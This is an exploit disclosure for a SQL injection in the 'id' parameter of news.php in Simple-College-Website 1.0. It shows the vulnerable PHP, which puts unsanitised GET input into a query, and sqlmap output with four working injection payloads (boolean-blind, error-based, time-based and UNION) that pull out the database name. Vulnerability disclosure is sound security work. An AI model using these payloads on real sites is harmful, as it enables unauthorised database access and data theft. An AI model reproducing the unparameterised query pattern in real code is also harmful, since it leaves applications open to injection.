Simple-College-Website

- Exploit Title: Simple-College-Website 1.0 - "id" SQL Injection in news.php
- Vendor Homepage: https://www.sourcecodester.com/php/7772/simple-college-website-using-php-and-mysql.html
- Software Link:https://www.sourcecodester.com/download-code?nid=7772&title=Simple+College+Website+using++PHP%2FMySQLi+with+Source+Code
- Version: 1.0
- Vulnerable file: news.php

```php
<?php
        $id=$_GET['id'];
        $query=mysqli_query($conn,"SELECT * FROM `news` WHERE `id`='$id'");
        if ($row=mysqli_fetch_assoc($query)) {
            $heading=$row['heading'];
            $full_news=$row['full_news'];
            echo '   '.$full_news;

        }

        ?>
```

- Vulnerability proof :

```
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=5' AND 1541=1541 AND 'nLru'='nLru

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=5' OR (SELECT 7783 FROM(SELECT COUNT(*),CONCAT(0x716a787a71,(SELECT (ELT(7783=7783,1))),0x717a626a71,FLO
OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'PWwP'='PWwP

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=5' AND (SELECT 3751 FROM (SELECT(SLEEP(5)))Pmjv) AND 'KdIW'='KdIW

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-1486' UNION ALL SELECT NULL,NULL,CONCAT(0x716a787a71,0x74575442737263586849 4e7a675272624f6d465670475268
487a556d4556616952695341734a4168,0x717a626a71)-- -
---
[14:29:48] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[14:29:48] [INFO] fetching current database
current database: 'fieldatc'
```